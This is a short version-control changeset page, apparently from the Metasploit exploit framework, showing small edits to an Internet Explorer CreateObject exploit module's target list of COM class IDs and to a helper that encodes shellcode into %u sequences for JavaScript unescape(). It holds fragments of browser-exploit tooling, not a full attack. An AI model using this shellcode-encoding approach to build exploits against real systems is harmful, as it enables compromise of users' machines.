Changeset 3808

Show
Ignore:
Timestamp:
08/07/06 23:45:43 (2 years ago)
Author:
hdm
Message:

Updates!

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved
  • framework2/trunk/exploits/ie_createobject.pm

    r3754 r3808  
    8989                [ 'UNKNOWN  - VisualStudio.DTE.8.0', '{BA018599-1DB3-44f9-83B4-461454C84BF8}'], 
    9090                [ 'UNKNOWN  - Microsoft.DbgClr.DTE.8.0', '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}'], 
    91                 [ 'UNKNOWN  - VsaIDE.DTE', '{E8CCCDDF-CA28-496b-B050-6C07C962476B}'], 
    92                  
    93                 # [ 'UNKNOWN  - ', ''], 
    94                                  
     91                [ 'UNKNOWN  - VsaIDE.DTE', '{E8CCCDDF-CA28-496b-B050-6C07C962476B}'],                    
    9592          ], 
    9693 
  • framework2/trunk/lib/Pex/Utils.pm

    r3753 r3808  
    391391        # Encode the shellcode via %u sequences for JS's unescape() function 
    392392        my $idx = 0; 
     393         
     394        # Pad to an even number of bytes 
     395        if (length($data) % 2 != 0) { 
     396                $data .= substr($data, -1, 1); 
     397        } 
     398         
    393399        while ($idx < length($data) - 1) { 
    394400                my $c1 = ord(substr($data, $idx, 1));